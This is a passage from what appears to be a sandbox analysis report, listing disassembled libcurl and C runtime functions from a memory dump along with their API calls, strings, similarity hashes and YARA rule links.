                                                                                                                                      • API String ID: 1452528299-2064316097
                                                                                                                                      • Opcode ID: f8d4f1dafa3711cb5f2092ba5fdea11215fb07c1ca59b1e14a6495f194d9e4cd
                                                                                                                                      • Instruction ID: 8a5743a4c2053a56db4e8e02c0add90a8cccf25966791005a80b8c2d90f944e7
                                                                                                                                      • Opcode Fuzzy Hash: f8d4f1dafa3711cb5f2092ba5fdea11215fb07c1ca59b1e14a6495f194d9e4cd
                                                                                                                                      • Instruction Fuzzy Hash: 8E51B671E00208DBDB119F69DC41BAEBBB5FF45336F1802A9E81C9F250E7359A15D7A0
                                                                                                                                      Function 6BDCD790 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(6BE02F90,6BE03058,%s%s%s%s,6BDEC4B0,6BDF8024,?,6BDF8020), ref: 6BDCD84F
                                                                                                                                      • _strncpy.LIBCMT ref: 6BDCD8AF
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _strncpycurl_msnprintf
                                                                                                                                      • String ID: %s%s%s%s$X0k
                                                                                                                                      • API String ID: 37059441-3054329322
                                                                                                                                      • Opcode ID: 7ea8a2480d5b55feba351cb4d1001ed913240f6e27b0eaaff11f7c5ddda27c02
                                                                                                                                      • Instruction ID: dacf449f5a55e61bf6b060574f431784379c3f32506946e207fde27b5cc3d0cd
                                                                                                                                      • Opcode Fuzzy Hash: 7ea8a2480d5b55feba351cb4d1001ed913240f6e27b0eaaff11f7c5ddda27c02
                                                                                                                                      • Instruction Fuzzy Hash: 3E310671B841199BDF04CB689C91B6AB7E99B553A0F1001AEDC0DEF340DB3A9D14D7B1
                                                                                                                                      Function 6BDCD900 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: CURL_SSL_BACKEND
                                                                                                                                      • API String ID: 0-3552431867
                                                                                                                                      • Opcode ID: eb6106a11eeb4a335f1f9ad0f37e14010e406e5a81efa3d473f6d01cd89d182a
                                                                                                                                      • Instruction ID: 83632022306e0bb653037ff233fdc2445211256703ae5a3ca946851630434853
                                                                                                                                      • Opcode Fuzzy Hash: eb6106a11eeb4a335f1f9ad0f37e14010e406e5a81efa3d473f6d01cd89d182a
                                                                                                                                      • Instruction Fuzzy Hash: 2B31A376684105DBEB009FA4EC41A5773ECAB92779F0400BDE849CF211EB3AD952D7A2
                                                                                                                                      Function 6BD8CB00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • getsockname.WS2_32(BB830100,?,?), ref: 6BD8CB43
                                                                                                                                      • accept.WS2_32(?,?,00000080), ref: 6BD8CB6B
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                        • Part of subcall function 6BDAA660: ioctlsocket.WS2_32(00000000,8004667E,6BD84554), ref: 6BDAA67A
                                                                                                                                      Strings
                                                                                                                                      • Connection accepted from server, xrefs: 6BD8CBAB
                                                                                                                                      • Error accept()ing server connect, xrefs: 6BD8CB87
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: acceptcurl_msnprintfcurl_mvsnprintfgetsocknameioctlsocket
                                                                                                                                      • String ID: Connection accepted from server$Error accept()ing server connect
                                                                                                                                      • API String ID: 1634289926-2331703088
                                                                                                                                      • Opcode ID: 5b19dfee42b3982d966a5f6ac55489588b16eab6b1a2ccc68d835a353badf6a2
                                                                                                                                      • Instruction ID: 187f4a7b0e8142081b6a65a331019a21e7c385e959b754ae6d4e1d1112f30a90
                                                                                                                                      • Opcode Fuzzy Hash: 5b19dfee42b3982d966a5f6ac55489588b16eab6b1a2ccc68d835a353badf6a2
                                                                                                                                      • Instruction Fuzzy Hash: 8331C871A00118ABDB10DB34DC81BEEB7B8EF45325F0442A5EC5DAF181EF395A549BB1
                                                                                                                                      Function 6BDB06B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintfcurl_mvsnprintf
                                                                                                                                      • String ID: ...$...
                                                                                                                                      • API String ID: 4251218765-2253869979
                                                                                                                                      • Opcode ID: b760dce59b25279a271843e8597c837b33fb2a9d24966bed1f2652e8c13623ff
                                                                                                                                      • Instruction ID: d0f52698162a05b1f606e75210a6e3e6839ad0286b92e9786d8f21a37c06f4bc
                                                                                                                                      • Opcode Fuzzy Hash: b760dce59b25279a271843e8597c837b33fb2a9d24966bed1f2652e8c13623ff
                                                                                                                                      • Instruction Fuzzy Hash: 6E11E4B5904108EADF04DF24DC41BF9B7B9EB02368F0481D9D8955F141DB39A74E8BE1
                                                                                                                                      Function 6BDCDA40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_getenv.LIBCURL(CURL_SSL_BACKEND,?,?,?,6BDCCB27,00000000,6BD9692E), ref: 6BDCDA73
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_getenv
                                                                                                                                      • String ID: CURL_SSL_BACKEND
                                                                                                                                      • API String ID: 2452071183-3552431867
                                                                                                                                      • Opcode ID: 128dcd70c2ff02e1f9daaf1cdaabb90bb889d6bbfb3e26e337d5863f747dc6d0
                                                                                                                                      • Instruction ID: 762da6cad561a108d8d066341da088df5085a775b4791ce91aa8d0654659022a
                                                                                                                                      • Opcode Fuzzy Hash: 128dcd70c2ff02e1f9daaf1cdaabb90bb889d6bbfb3e26e337d5863f747dc6d0
                                                                                                                                      • Instruction Fuzzy Hash: 84018432688101DBDB049BE5AC01A1777ECABA2779F04047DD84DCB620F73BD5A6D7A2
                                                                                                                                      Function 6BD890C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 30libraryloaderCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BDBACC0: GetModuleHandleA.KERNEL32(kernel32,?,00000002,6BDBAEAE), ref: 6BDBACCE
                                                                                                                                      • GetProcAddress.KERNEL32(00000000,InitSecurityInterfaceA), ref: 6BD890FD
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                      • String ID: InitSecurityInterfaceA$secur32.dll$security.dll
                                                                                                                                      • API String ID: 1646373207-3788156360
                                                                                                                                      • Opcode ID: 8145d5e1dec15f6aefcb591e37c2e6eca5dc46510d5ba425a5f5c2b6745b4a4f
                                                                                                                                      • Instruction ID: b16db5b77c2ba470b75c899424ee27f8a1e08ad347c215aff48a057c15f6f748
                                                                                                                                      • Opcode Fuzzy Hash: 8145d5e1dec15f6aefcb591e37c2e6eca5dc46510d5ba425a5f5c2b6745b4a4f
                                                                                                                                      • Instruction Fuzzy Hash: EDF06DB4708303BAEE091B358C4BB1A27D55791765F80A4A9A941DE2C3FF3CC901AB70
                                                                                                                                      Function 6BDDA96C Relevance: 6.1, APIs: 4, Instructions: 132COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID:
                                                                                                                                      • Opcode ID: 55d655b25e1b264f4540a574d37ff47323d0bc3560032874cb23e36c79277ebb
                                                                                                                                      • Instruction ID: 5784295c873e442a003a68138715d06e9f13143ad8818e4fc9bbb7a88f5cfe1a
                                                                                                                                      • Opcode Fuzzy Hash: 55d655b25e1b264f4540a574d37ff47323d0bc3560032874cb23e36c79277ebb
                                                                                                                                      • Instruction Fuzzy Hash: 4F41F972A40354FFD7148F78CC41B9ABBBDEB48730F10866AE295DF280D379AA418790
                                                                                                                                      Function 6BDE4DB7 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • _free.LIBCMT ref: 6BDE4E87
                                                                                                                                      • _free.LIBCMT ref: 6BDE4EB0
                                                                                                                                      • SetEndOfFile.KERNEL32(00000000,6BDDD700,00000000,?,?,?,?,?,?,?,?,6BDDD700,?,00000000), ref: 6BDE4EE2
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,6BDDD700,?,00000000,?,?,?,?,00000000,?), ref: 6BDE4EFE
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _free$ErrorFileLast
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1547350101-0
                                                                                                                                      • Opcode ID: cc0521aec0e166845f7972c5156922e2d2b2fe6884ab1ef3e8ea697d48385d5a
                                                                                                                                      • Instruction ID: e94bc92ad0bc99156f457013948f3c2e30b883b821b5d787640eb4bbab49efd7
                                                                                                                                      • Opcode Fuzzy Hash: cc0521aec0e166845f7972c5156922e2d2b2fe6884ab1ef3e8ea697d48385d5a
                                                                                                                                      • Instruction Fuzzy Hash: 1D41B272A00605ABDB118FB4CC41B8E77A9AF89B34F150591F568AF190EB3CCB425B70
                                                                                                                                      Function 6BDDF53B Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,6BDD37F2,?,00000000,00000000,?,6BDD84AA,6BDD8987,00000000,?,00000000), ref: 6BDDF540
                                                                                                                                      • _free.LIBCMT ref: 6BDDF59D
                                                                                                                                      • _free.LIBCMT ref: 6BDDF5D3
                                                                                                                                      • SetLastError.KERNEL32(00000000,00000015,000000FF,?,6BDD84AA,6BDD8987,00000000,?,00000000), ref: 6BDDF5DE
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast_free
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2283115069-0
                                                                                                                                      • Opcode ID: 444b82ae1caea0e6936f899ef85fa2894e952da01911bd927f04211f10298655
                                                                                                                                      • Instruction ID: 732d57ab0ee3b5aa47507231ef286aeff4007657ce265b28b914ee15208a6f1d
                                                                                                                                      • Opcode Fuzzy Hash: 444b82ae1caea0e6936f899ef85fa2894e952da01911bd927f04211f10298655
                                                                                                                                      • Instruction Fuzzy Hash: FE11C672204601AFEA015BB8CCD1D2A2B9A8BD67787210728F2F88E1D0DF3DCD115331
                                                                                                                                      Function 6BDDF692 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetLastError.KERNEL32(00000000,?,00000000,6BDD1F4E,6BDD8951,6BDD8465,?,00000000), ref: 6BDDF697
                                                                                                                                      • _free.LIBCMT ref: 6BDDF6F4
                                                                                                                                      • _free.LIBCMT ref: 6BDDF72A
                                                                                                                                      • SetLastError.KERNEL32(00000000,00000015,000000FF,?,?,?,?,?,?,?,?,6BDD8987,00000000,?,?,0000000A), ref: 6BDDF735
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast_free
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2283115069-0
                                                                                                                                      • Opcode ID: a7a08a07e68cfe3b3ce4ae03bded0d9ae09d0131cd3de4ce3b5fd6ae2e6e40b6
                                                                                                                                      • Instruction ID: 66c17ad3912ac316b97135472a7c9c3ee91f116f9f7764fd9b92566042554d32
                                                                                                                                      • Opcode Fuzzy Hash: a7a08a07e68cfe3b3ce4ae03bded0d9ae09d0131cd3de4ce3b5fd6ae2e6e40b6
                                                                                                                                      • Instruction Fuzzy Hash: 7911E5726046017EDA0117B88CD1E6A27DA9BD6778B250728F6E48E1E0EF39CD115734
                                                                                                                                      Function 6BDBE5D0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • QueryPerformanceCounter.KERNEL32(6BDAF03B,?,6BD8669E,6BDAF03B,?,?,?,?), ref: 6BDBE5E5
                                                                                                                                      • __alldvrm.LIBCMT ref: 6BDBE5FE
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDBE627
                                                                                                                                      • GetTickCount.KERNEL32 ref: 6BDBE642
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1296068966-0
                                                                                                                                      • Opcode ID: 4ee6fcf68557a56339ca66c952d524f8bbb9ba18e3ebebc473aded9318b5edd6
                                                                                                                                      • Instruction ID: 68b48483f4e004ac71cb3ddd8b94cd0d217a30e46db35151b9dd617412c017ce
                                                                                                                                      • Opcode Fuzzy Hash: 4ee6fcf68557a56339ca66c952d524f8bbb9ba18e3ebebc473aded9318b5edd6
                                                                                                                                      • Instruction Fuzzy Hash: AC118271601208AFDB149FA8DD85B6ABFE8EB4D318B1041ADB50DCB250D7379E118F50
                                                                                                                                      Function 6BDE85FF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,6BDE5102,00000000,00000001,00000000,00000000,?,6BDDE891,?,6BDD92EA,00000000), ref: 6BDE8616
                                                                                                                                      • GetLastError.KERNEL32(?,6BDE5102,00000000,00000001,00000000,00000000,?,6BDDE891,?,6BDD92EA,00000000,?,00000000,?,6BDDEDE5,?), ref: 6BDE8622
                                                                                                                                        • Part of subcall function 6BDE85E8: CloseHandle.KERNEL32(FFFFFFFE,6BDE8632,?,6BDE5102,00000000,00000001,00000000,00000000,?,6BDDE891,?,6BDD92EA,00000000,?,00000000), ref: 6BDE85F8
                                                                                                                                      • ___initconout.LIBCMT ref: 6BDE8632
                                                                                                                                        • Part of subcall function 6BDE85AA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6BDE85D9,6BDE50EF,00000000,?,6BDDE891,?,6BDD92EA,00000000,?), ref: 6BDE85BD
                                                                                                                                      • WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,6BDE5102,00000000,00000001,00000000,00000000,?,6BDDE891,?,6BDD92EA,00000000,?), ref: 6BDE8647
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2744216297-0
                                                                                                                                      • Opcode ID: 4728cf21ea63e2ae4a231797618def7d40c4025ebc49f3916a6a67ddeb1c8a91
                                                                                                                                      • Instruction ID: 978db6563fcc218431c7a9cfb18e4d4e352a7b96e2b6384c42865bf99a104ae1
                                                                                                                                      • Opcode Fuzzy Hash: 4728cf21ea63e2ae4a231797618def7d40c4025ebc49f3916a6a67ddeb1c8a91
                                                                                                                                      • Instruction Fuzzy Hash: 19F01536400618BBDF121FA5CC49A8E7FB6FF4A3B1B004054FA1899160DB37D922ABA0
                                                                                                                                      Function 6BD8AE10 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8AE35
                                                                                                                                      Strings
                                                                                                                                      • Can't get the size of %s, xrefs: 6BD8AF14
                                                                                                                                      • Can't open %s for writing, xrefs: 6BD8AE9E
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchr
                                                                                                                                      • String ID: Can't get the size of %s$Can't open %s for writing
                                                                                                                                      • API String ID: 601868998-3544860555
                                                                                                                                      • Opcode ID: 126ba91c85f390d9d124d9ea82497cf02b22b6614ab3cce87b24f2dddc56f914
                                                                                                                                      • Instruction ID: 14e5a7bbadf4a6764566c1439e96976ef91fba5f35682ac28b4c44ff0adb237a
                                                                                                                                      • Opcode Fuzzy Hash: 126ba91c85f390d9d124d9ea82497cf02b22b6614ab3cce87b24f2dddc56f914
                                                                                                                                      • Instruction Fuzzy Hash: 3C81F8B1F00208CBDB10CFB4DC81AEEB7B5EF49325F14457AE90A9F240EB3969559B61
                                                                                                                                      Function 6BD96F50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(%s?%s,?,?), ref: 6BD96F95
                                                                                                                                        • Part of subcall function 6BDA48E0: curl_mvaprintf.LIBCURL(?,?,?,6BD866CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6BDA48EA
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintfcurl_mvaprintf
                                                                                                                                      • String ID: %s?%s$Failed sending Gopher request
                                                                                                                                      • API String ID: 2226252885-132698833
                                                                                                                                      • Opcode ID: 0d543fe96b87c077707a498fa0d8874e8e4ab01c663f4339a69112fe4845b936
                                                                                                                                      • Instruction ID: b5be183d7d7b05b048a5996b85a26bb44f5605115e00c3a5c02238929d2c5761
                                                                                                                                      • Opcode Fuzzy Hash: 0d543fe96b87c077707a498fa0d8874e8e4ab01c663f4339a69112fe4845b936
                                                                                                                                      • Instruction Fuzzy Hash: 7251D676900114BBEB106F68AC01E9E7BB9EF41374F1442A5FD1D9F281E73ADA1487E1
                                                                                                                                      Function 6BD94190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_url_set.LIBCURL(?,00000002,00000000,00000080), ref: 6BD9432A
                                                                                                                                      Strings
